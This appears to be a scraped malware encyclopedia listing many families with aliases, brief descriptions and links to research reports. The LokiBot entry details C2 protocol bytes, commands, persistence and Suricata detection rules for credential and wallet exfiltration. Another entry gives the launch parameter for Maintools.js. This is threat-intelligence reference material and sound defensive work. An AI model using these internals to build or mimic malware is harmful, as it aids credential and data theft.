NjRAT
RedPacket Security describes NJRat as "a remote access trojan (RAT) has capabilities to log keystrokes, access the victim’s camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim’s desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives."
It is supposedly popular with actors in the Middle East. Similar to other RATs, many leaked builders may be backdoored.
NjRAT is also known as:
-
Bladabindi
Links |
http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf |
http://csecybsec.com/download/zlab/20171221_CSE_Bladabindi_Report.pdf |
ZeroAccess
ZeroAccess is also known as:
-
Max++
-
Smiscer
Micropsia
Micropsia is also known as:
Links |
http://blog.talosintelligence.com/2017/06/palestine-delphi.html |
PlugX
RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim’s machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.
Notable features of this malware family are the ability to execute commands on the affected machine to retrieve: machine information capture the screen send keyboard and mouse events keylogging reboot the system manage processes (create, kill and enumerate) manage services (create, start, stop, etc.); and manage Windows registry entries, open a shell, etc.
The malware also logs its events in a text log file.
PlugX is also known as:
-
Korplug
ChewBacca
ChewBacca is also known as:
Links |
http://vinsula.com/2014/03/01/chewbacca-tor-based-pos-malware/ |
Contopee
Contopee is also known as:
Links |
https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks |
Asprox
Asprox is also known as:
-
Aseljo
-
BadSrc
CrossRAT
CrossRAT is also known as:
-
Trupto
Links |
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf |
Neutrino
Neutrino is also known as:
-
Kasidet
CryptoRansomeware
CryptoRansomeware is also known as:
Links |
https://twitter.com/JaromirHorejsi/status/818369717371027456 |
DROPSHOT
DROPSHOT is also known as:
Links |
https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-2/ |
https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-1/ |
PrincessLocker
PrincessLocker is also known as:
Links |
https://blog.malwarebytes.com/threat-analysis/2016/11/princess-ransomware/ |
https://hshrzd.wordpress.com/2016/11/17/princess-locker-decryptor/ |
MAPIget
MAPIget is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
JackPOS
JackPOS is also known as:
Links |
https://www.trustwave.com/Resources/SpiderLabs-Blog/JackPOS-%E2%80%93-The-House-Always-Wins/ |
Filecoder
Filecoder is also known as:
Links |
https://twitter.com/JaromirHorejsi/status/877811773826641920 |
Popcorn Time
Popcorn Time is also known as:
Links |
https://twitter.com/malwrhunterteam/status/806595092177965058 |
Rakos
Rakos is also known as:
Links |
http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/ |
Casper
ESET describes Casper as a well-developed reconnaissance tool, making extensive efforts to remain unseen on targeted machines. Of particular note are the specific strategies adopted against anti-malware software. Casper was used against Syrian targets in April 2014, which makes it the most recent malware from this group publicly known at this time.
Casper is also known as:
Links |
https://www.welivesecurity.com/2015/03/05/casper-malware-babar-bunny-another-espionage-cartoon/ |
Hancitor
Hancitor is also known as:
-
Chanitor
PittyTiger RAT
PittyTiger RAT is also known as:
Links |
https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf |
Kurton
Kurton is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
MiniASP
MiniASP is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Zeus SSL
The sample listed here was previously mislabeled and is now integrated into win.floki_bot. The family is to-be-updated once we have a "real" Zeus SSL sample.
Zeus SSL is also known as:
Links |
CryptoNight
WebAssembly-based crpyto miner.
CryptoNight is also known as:
Links |
https://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec |
GlooxMail
GlooxMail is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Harnig
Harnig is also known as:
-
Piptea
Links |
https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html |
https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html |
XBot POS
XBot POS is also known as:
Links |
https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html |
ATMii
ATMii is also known as:
Links |
https://securelist.com/atmii-a-small-but-effective-atm-robber/82707/ |
jSpy
jSpy is also known as:
Links |
https://how-to-hack.net/hacking-guides/review-of-jspy-rat-jspy-net/ |
Salgorea
Salgorea is also known as:
Links |
https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf |
Alureon
Alureon is also known as:
-
TDL
-
Olmarik
-
TDSS
-
Pihar
SSHDoor
SSHDoor is also known as:
Links |
http://contagiodump.blogspot.com/2013/02/linux-sshdoor-sample.html |
Punkey POS
Punkey POS is also known as:
Links |
https://www.trustwave.com/Resources/SpiderLabs-Blog/New-POS-Malware-Emerges---Punkey/ |
https://www.pandasecurity.com/mediacenter/malware/punkeypos/ |
ONHAT
ONHAT is also known as:
Links |
https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/htmlview |
Remexi
Remexi is also known as:
Links |
https://www.symantec.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions |
Velso Ransomware
Ransomware that appears to require manually installation (believed to be via RDP). Encrypts files with .velso extension.
Velso Ransomware is also known as:
Links |
Pykspa
Pykspa is also known as:
Links |
https://www.johannesbader.ch/2015/07/pykspas-inferior-dga-version/ |
DistTrack
DistTrack is also known as:
PAS
PAS is also known as:
Links |
https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity |
BTCWare
BTCWare is also known as:
Links |
https://www.bleepingcomputer.com/news/security/new-nuclear-btcware-ransomware-released-updated/ |
Plexor
Plexor is also known as:
SeaDaddy
SeaDaddy is also known as:
Zebrocy
Zebrocy is also known as:
Links |
https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/ |
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ |
Graftor
Graftor is also known as:
Links |
http://blog.talosintelligence.com/2017/09/graftor-but-i-never-asked-for-this.html |
MiKey
MiKey is also known as:
Links |
http://www.morphick.com/resources/lab-blog/mikey-linux-keylogger |
DarkHotel
DarkHotel is also known as:
Multigrain POS
Multigrain POS is also known as:
Links |
https://www.pandasecurity.com/mediacenter/malware/multigrain-malware-pos/ |
https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html |
rdasrv
rdasrv is also known as:
Links |
https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf |
Rurktar
Rurktar is also known as:
-
RCSU
Links |
https://www.gdatasoftware.com/blog/2017/07/29896-rurktar-spyware-under-construction |
Unidentified 048 (Lazarus?)
Unidentified 048 (Lazarus?) is also known as:
Links |
Zeus
Zeus is also known as:
-
Zbot
MacSpy
MacSpy is also known as:
Links |
https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service |
Shifu
Shifu is also known as:
Links |
http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/ |
DanaBot
Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.
DanaBot is also known as:
Jaff
Jaff is also known as:
Links |
http://blog.talosintelligence.com/2017/05/jaff-ransomware.html |
MazarBot
MazarBot is also known as:
Cobian RAT
Cobian RAT is also known as:
Links |
https://securityaffairs.co/wordpress/62573/malware/cobian-rat-backdoor.html |
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat |
Matrix Banker
Matrix Banker is also known as:
Links |
https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/ |
HeroRAT
HeroRAT is also known as:
Links |
https://www.welivesecurity.com/2018/06/18/new-telegram-abusing-android-rat/ |
PowerWare
PowerWare is also known as:
Links |
https://blog.cylance.com/ransomware-update-todays-bountiful-cornucopia-of-extortive-threats |
Ice IX
Ice IX is also known as:
Komplex
Komplex is also known as:
-
JHUHUGIT
-
JKEYSKW
-
SedUploader
Gozi
2000 Ursnif aka Snifula 2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*) → 2010 Gozi Prinimalka → Vawtrak/Neverquest
In 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed. It was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.
In September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinject module.
Gozi is also known as:
-
Ursnif
-
Snifula
-
Gozi CRM
-
Papras
-
CRM
Radamant
Radamant is also known as:
Links |
https://www.cyphort.com/radamant-ransomware-distributed-via-rig-ek/ |
Winnti
Winnti is also known as:
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/ |
https://www.protectwise.com/blog/winnti-evolution-going-open-source.html |
QRat
QRat, also known as Quaverse RAT, was introduced in May 2015 as undetectable (because of multiple layers of obfuscation). It offers the usual functionality (password dumper, file browser, keylogger, screen shots/streaming, …), and it comes as a SaaS. For additional historical context, please see jar.qarallax.
QRat is also known as:
-
Quaverse RAT
Links |
https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT—Remote-Access-as-a-Service/ |
Derusbi
Derusbi is also known as:
Careto
Careto is also known as:
-
Appetite
-
Mask
Links |
https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed |
Triada
Triada is also known as:
EquationDrug
EquationDrug is also known as:
elf.vpnfilter
elf.vpnfilter is also known as:
Penquin Turla
Penquin Turla is also known as:
Links |
https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_AppendixB.pdf |
https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_PDF_eng.pdf |
Catchamas
Catchamas is also known as:
Links |
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets |
BillGates
BillGates is a modularized malware, of supposedly Chinese origin. Its main functionality is to perform DDoS attacks, with support for DNS amplification. Often, BillGates is delivered with one or many backdoor modules.
BillGates is available for *nix-based systems as well as for Windows.
On Windows, the (Bill)Gates installer typically contains the various modules as linked resources.
BillGates is also known as:
Links |
https://securelist.com/versatile-ddos-trojan-for-linux/64361/ |
Feodo
Feodo is also known as:
-
Bugat
-
Cridex
Mamba
Mamba is also known as:
-
HDDCryptor
-
DiskCryptor
Links |
https://securelist.com/the-return-of-mamba-ransomware/79403/ |
Downdelph
Downdelph is also known as:
-
DELPHACY
Links |
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html |
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf |
UrlZone
UrlZone is also known as:
-
Shiotob
-
Bebloh
Chrysaor
Chrysaor is also known as:
-
JigglyPuff
-
Pegasus
WannaCryptor
WannaCryptor is also known as:
-
Wana Decrypt0r
-
Wcry
-
WannaCry
Unidentified 013 (Korean)
Unidentified 013 (Korean) is also known as:
Links |
http://blog.talosintelligence.com/2017/02/korean-maldoc.html |
xxmm
xxmm is also known as:
-
ShadowWalker
Links |
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses |
Rambo
Rambo is also known as:
-
brebsd
Links |
https://www.morphick.com/resources/news/deep-dive-dragonok-rambo-backdoor |
Arefty
Arefty is also known as:
Links |
http://www.welivesecurity.com/2016/03/23/new-self-protecting-usb-trojan-able-to-avoid-detection/ |
FireCrypt
FireCrypt is also known as:
Links |
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/ |
LockPOS
LockPOS is also known as:
Tsunami
Tsunami is also known as:
-
Radiation
-
Amnesia
Links |
https://www.8ackprotect.com/blog/big_brother_is_attacking_you |
Nymaim2
Nymaim2 is also known as:
Links |
https://johannesbader.ch/2018/04/the-new-domain-generation-algorithm-of-nymaim/ |
Nanocore RAT
Nanocore RAT is also known as:
Links |
https://www.bleepingcomputer.com/news/security/nanocore-rat-author-gets-33-months-in-prison/ |
ATMSpitter
The ATMSpitter family consists of command-line tools designed to control the cash dispenser of an ATM through function calls to either CSCWCNG.dll or MFSXFS.dll. Both libraries are legitimate Windows drivers used to interact with the components of different ATM models.
ATMSpitter is also known as:
Links |
https://quoscient.io/reports/QuoINT_INTBRI_New_ATMSpitter.pdf |
https://quoscient.io/reports/QuoINT_INTBRI_ATMSpitter_v2.pdf |
Patcher
Patcher is also known as:
-
Findzip
Links |
http://www.welivesecurity.com/2017/02/22/new-crypto-ransomware-hits-macos/ |
Bundestrojaner
Bundestrojaner is also known as:
Links |
http://www.stoned-vienna.com/analysis-of-german-bundestrojaner.html |
http://www.ccc.de/system/uploads/76/original/staatstrojaner-report23.pdf |
H1N1 Loader
H1N1 Loader is also known as:
Links |
https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities |
SamSam
SamSam is also known as:
Kelihos
Kelihos is also known as:
Reaver
Reaver is a type of malware discovered by researchers at Palo Alto Networks in November 2017, but its activity dates back to at least late 2016. Researchers identified only ten unique samples of the malware, indicating limited use, and three different variants, noted as versions 1, 2, and 3. The malware is unique as its final payload masquerades as a control panel link (CPL) file. The intended targets of this activity are unknown as of this writing; however, it was used concurrently with the SunOrcal malware and the same C2 infrastructure used by threat actors who primarily target based on the "Five Poisons" - five perceived threats deemed dangerous to, and working against the interests of, the Chinese government.
Reaver is also known as:
Links |
owaauth
owaauth is also known as:
-
luckyowa
Links |
https://threatpost.com/targeted-attack-exposes-owa-weakness/114925/ |
Trochilus RAT
Trochilus RAT is also known as:
Links |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
MBRlock
This ransomware modifies the master boot record of the victim's computer so that it shows a ransom note before Windows starts.
MBRlock is also known as:
-
DexLocker
Links |
http://id-ransomware.blogspot.com.tr/2018/02/mbrlock-hax-ransomware.html |
https://app.any.run/tasks/0a7e643f-7562-4575-b8a5-747bd6b5f02d |
Erebus
Erebus is also known as:
Links |
https://blog.trendmicro.com/trendlabs-security-intelligence/erebus-resurfaces-as-linux-ransomware/ |
Sword
Sword is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
BlackEnergy
BlackEnergy is also known as:
AdWind
AdWind is also known as:
-
JBifrost
-
JSocket
-
AlienSpy
-
UNRECOM
-
Frutas
HideDRV
HideDRV is also known as:
Formbook
FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
Formbook is also known as:
MPK
MPK is also known as:
Links |
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf |
9002 RAT
9002 RAT is also known as:
-
McRAT
-
Hydraq
Buterat
Buterat is also known as:
-
spyvoltar
Links |
http://antivirnews.blogspot.com/2011/01/backdoorwin32-buteratafj.html |
EvilPony
Privately modded version of the Pony stealer.
EvilPony is also known as:
-
CREstealer
Troldesh
Troldesh is also known as:
-
Shade
Links |
https://securelist.com/the-shade-encryptor-a-double-threat/72087/ |
NexusLogger
NexusLogger is also known as:
Links |
https://twitter.com/PhysicalDrive0/status/842853292124360706 |
Decebal
Decebal is also known as:
Links |
https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf |
TinyLoader
TinyLoader is also known as:
Links |
https://www.fidelissecurity.com/threatgeek/2017/07/deconstructing-tinyloader-0 |
Cobra Carbon System
Cobra Carbon System is also known as:
-
Carbon
Umbreon
Umbreon is also known as:
-
Espeon
Links |
http://contagiodump.blogspot.com/2018/03/rootkit-umbreon-umreon-x86-arm-samples.html |
Locky Loader
For the lack of a better name, this is a VBS-based loader that was used in beginning of 2018 to deliver win.locky.
Locky Loader is also known as:
Links |
sykipot
sykipot is also known as:
-
getkys
Links |
https://www.alienvault.com/blogs/labs-research/sykipot-is-back |
StealthAgent
StealthAgent is also known as:
Links |
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF |
Upatre
Upatre is also known as:
Links |
https://johannesbader.ch/2015/06/Win32-Upatre-BI-Part-1-Unpacking/ |
Hamweq
Hamweq is also known as:
Links |
https://www.cert.pl/wp-content/uploads/2011/06/201106_hamweq.pdf |
NetSupportManager RAT
NetSupportManager RAT is also known as:
Links |
https://www.bleepingcomputer.com/news/security/hacked-steam-accounts-spreading-remote-access-trojan/ |
WebC2-GreenCat
WebC2-GreenCat is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Karius
According to checkpoint, Karius is a banking trojan in development, borrowing code from Ramnit, Vawtrack as well as Trickbot, currently implementing webinject attacks only.
It comes with an injector that loads an intermediate "proxy" component, which in turn loads the actual banker component.
Communication with the c2 are in json format and encrypted with RC4 with a hardcoded key.
In the initial version, observed in March 2018, the webinjects were hardcoded in the binary, while in subsequent versions, they were received by the c2.
Karius is also known as:
Links |
https://research.checkpoint.com/banking-trojans-development/ |
https://dissectmalware.wordpress.com/2018/03/28/multi-stage-powershell-script/ |
Alreay
Alreay is also known as:
Links |
https://securelist.com/blog/sas/77908/lazarus-under-the-hood/ |
Stresspaint
Stresspaint is also known as:
Links |
https://security.radware.com/malware/stresspaint-malware-targeting-facebook-credentials/ |
Equationgroup (Sorting)
Rough collection EQGRP samples, to be sorted
Equationgroup (Sorting) is also known as:
CrypMic
CrypMic is also known as:
Links |
https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/ |
Zeus Sphinx
Zeus Sphinx is also known as:
Links |
https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/ |
MimiKatz
MimiKatz is also known as:
win.gandcrab
win.gandcrab is also known as:
Links |
https://blog.talosintelligence.com/2018/05/gandcrab-compromised-sites.html |
FakeRean
FakeRean is also known as:
-
Braviax
Links |
https://blog.threattrack.com/fakerean-comes-of-age-turns-hard-core/ |
Mosquito
Mosquito is also known as:
Moker
Moker is also known as:
FantomCrypt
FantomCrypt is also known as:
Links |
https://www.webroot.com/blog/2016/08/29/fantom-ransomware-windows-update/ |
GearInformer
GearInformer is also known as:
Links |
https://wapacklabs.blogspot.ch/2017/02/rebranding-ispy-keylogger-gear-informer.html |
SslMM
SslMM is also known as:
Links |
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf |
https://securelist.com/analysis/publications/69953/the-naikon-apt/ |
FirstRansom
FirstRansom is also known as:
Links |
https://twitter.com/JaromirHorejsi/status/815949909648150528 |
BernhardPOS
BernhardPOS is also known as:
Links |
https://www.morphick.com/resources/news/bernhardpos-new-pos-malware-discovered-morphick |
iMuler
iMuler is also known as:
-
Revir
Links |
http://contagiodump.blogspot.com/2012/11/group-photoszip-osxrevir-osximuler.html |
Kovter
Kovter is also known as:
Links |
https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/ |
Makadocs
Makadocs is also known as:
Lethic
Lethic is a spambot dating back to 2008. It is known to be distributing low-level pharmaceutical spam.
Lethic is also known as:
Unidentified 034
Unidentified 034 is also known as:
Links |
https://zerophagemalware.com/2017/09/21/rig-ek-via-rulan-drops-an-infostealer/ |
Tofsee
Tofsee is also known as:
-
Gheg
Links |
https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/ |
https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/ |
AdultSwine
AdultSwine is also known as:
Links |
https://research.checkpoint.com/malware-displaying-porn-ads-discovered-in-game-apps-on-google-play/ |
Morto
Morto is also known as:
Links |
http://contagiodump.blogspot.com/2011/08/aug-28-morto-tsclient-rdp-worm-with.html |
KrBanker
KrBanker is also known as:
-
BlackMoon
Links |
https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan |
http://training.nshc.net/ENG/Document/virus/20140305_Internet_Bank_Pharming_-BlackMoon_Ver_1.0_External_ENG.pdf[http://training.nshc.net/ENG/Document/virus/20140305_Internet_Bank_Pharming-_BlackMoon_Ver_1.0_External_ENG.pdf] |
WireLurker
The iOS malware that is installed over USB by osx.wirelurker
WireLurker is also known as:
Links |
Szribi
Szribi is also known as:
Links |
https://www.virusbulletin.com/virusbulletin/2007/11/spam-kernel |
CryptoLocker
CryptoLocker is a new sophisticated malware that was launched in the late 2013. It is designed to attack Windows operating system by encrypting all the files from the system using a RSA-2048 public key. To decrypt the mentioned files, the user has to pay a ransom (usually 300 USD/EUR) or 2 BitCoins.
CryptoLocker is also known as:
Links |
https://www.secureworks.com/research/cryptolocker-ransomware |
WebC2-AdSpace
WebC2-AdSpace is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
TemptingCedar Spyware
TemptingCedar Spyware is also known as:
Links |
https://blog.avast.com/avast-tracks-down-tempting-cedar-spyware |
taidoor
taidoor is also known as:
-
simbot
Unidentified 025 (Clickfraud)
Unidentified 025 (Clickfraud) is also known as:
Links |
Pteranodon
Pteranodon is also known as:
Links |
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/ |
Rustock
Rustock is also known as:
KINS
KINS is also known as:
-
Kasper Internet Non-Security
-
Maple
Links |
https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/ |
Shishiga
Shishiga is also known as:
Links |
https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/ |
Agent.BTZ
Agent.BTZ is also known as:
-
Sun rootkit
-
ComRAT
ThreeByte
ThreeByte is also known as:
Links |
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html |
FlokiBot
FlokiBot is also known as:
Revenge RAT
Revenge RAT is also known as:
Links |
http://blog.deniable.org/blog/2016/08/26/lurking-around-revenge-rat/ |
JenX
JenX is also known as:
Links |
https://blog.radware.com/security/2018/02/jenx-los-calvos-de-san-calvicie/ |
Fanny
Fanny is also known as:
Links |
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1 |
IoT Reaper
IoT Reaper is also known as:
-
Reaper
-
IoTroop
Locky
Locky is also known as:
Mebromi
Mebromi is also known as:
-
MyBios
Maintools.js
Expects a parameter to run: needs to be started as 'maintools.js EzZETcSXyKAdF_e5I2i1'.
Maintools.js is also known as:
Links |
Floxif
Floxif is also known as:
Links |
https://www.virusbulletin.com/virusbulletin/2012/12/compromised-library |
WildFire
WildFire is also known as:
Links |
https://labs.opendns.com/2016/07/13/wildfire-ransomware-gaining-momentum/ |
UDPoS
UDPoS is also known as:
BankBot
BankBot is also known as:
WebC2-UGX
WebC2-UGX is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
LokiBot
"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMe
Loki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.
Loki-Bot accepts a single argument/switch of ‘-u’ that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.
The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: “B7E1C2CC98066B250DDB2123“.
Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: “%APPDATA%\ C98066\”.
There can be four files within the hidden %APPDATA% directory at any given time: “.exe,” “.lck,” “.hdb” and “.kdb.” They will be named after characters 13 thru 18 of the Mutex. For example: “6B250D.” Below is the explanation of their purpose:
FILE EXTENSION FILE DESCRIPTION .exe A copy of the malware that will execute every time the user account is logged into .lck A lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts .hdb A database of hashes for data that has already been exfiltrated to the C2 server .kdb A database of keylogger data that has yet to be sent to the C2 server
If the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.
The first packet transmitted by Loki-Bot contains application data.
The second packet transmitted by Loki-Bot contains decrypted Windows credentials.
The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.
Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.
The first WORD of the HTTP Payload represents the Loki-Bot version.
The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:
BYTE PAYLOAD TYPE 0x26 Stolen Cryptocurrency Wallet 0x27 Stolen Application Data 0x28 Get C2 Commands from C2 Server 0x29 Stolen File 0x2A POS (Point of Sale?) 0x2B Keylogger Data 0x2C Screenshot
The 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!
Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.
The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.
Loki-Bot can accept the following instructions from the C2 Server:
BYTE INSTRUCTION DESCRIPTION 0x00 Download EXE & Execute 0x01 Download DLL & Load #1 0x02 Download DLL & Load #2 0x08 Delete HDB File 0x09 Start Keylogger 0x0A Mine & Steal Data 0x0E Exit Loki-Bot 0x0F Upgrade Loki-Bot 0x10 Change C2 Polling Frequency 0x11 Delete Executables & Exit
Suricata Signatures RULE SID RULE NAME 2024311 ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected 2024312 ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1 2024313 ET TROJAN Loki Bot Request for C2 Commands Detected M1 2024314 ET TROJAN Loki Bot File Exfiltration Detected 2024315 ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1 2024316 ET TROJAN Loki Bot Screenshot Exfiltration Detected 2024317 ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2 2024318 ET TROJAN Loki Bot Request for C2 Commands Detected M2 2024319 ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2
LokiBot is also known as:
Bankshot
Bankshot is also known as:
Links |
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF |
Luminosity RAT
Luminosity RAT is also known as:
WinMM
WinMM is also known as:
Links |
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf |
https://securelist.com/analysis/publications/69953/the-naikon-apt/ |
FlexiSpy
FlexiSpy is also known as:
Links |
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/ |
DirCrypt
DirCrypt is also known as:
Links |
https://www.checkpoint.com/download/public-files/TCC_WP_Hacking_The_Hacker.pdf |
ZeroT
ZeroT is also known as:
Links |
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx |
RTM
RTM is also known as:
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf |
WebC2-Qbp
WebC2-Qbp is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
7ev3n
The NJCCIC describes 7ev3n as a ransomware "that targets the Windows OS and spreads via spam emails containing malicious attachments, as well as file sharing networks. It installs multiple files in the LocalAppData folder, each of which controls different functions including disabling bootup recovery options, deleting the ransomware installation file, encrypting data, and gaining administrator privileges. This variant also adds registry keys that disables various Windows function keys such as F1, F3, F4, F10, Alt, Num Lock, Ctrl, Enter, Escape, Shift, and Tab. Files encrypted by 7ev3n are labeled with a .R5A extension. It also locks victims out of Windows recovery options making it challenging to repair the damage done by 7ev3n."
7ev3n is also known as:
Links |
https://blog.malwarebytes.com/threat-analysis/2016/05/7ev3n-ransomware/ |
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/7ev3n |
HttpBrowser
HttpBrowser is also known as:
Links |
https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/ |
OpBlockBuster
OpBlockBuster is also known as:
Links |
http://researchcenter.paloaltonetworks.com/2017/04/unit42-the-blockbuster-sequel/ |
Apocalipto
Apocalipto is also known as:
Links |
https://www.visakorea.com/dam/VCOM/download/merchants/Grocery_Malware_04242013.pdf |
AdamLocker
Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim’s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.
AdamLocker is also known as:
Links |
https://twitter.com/JaromirHorejsi/status/813712587997249536 |
RokRAT
RokRAT is also known as:
Viper RAT
Viper RAT is also known as:
Links |
https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/ |
https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/ |
WebC2-Kt3
WebC2-Kt3 is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
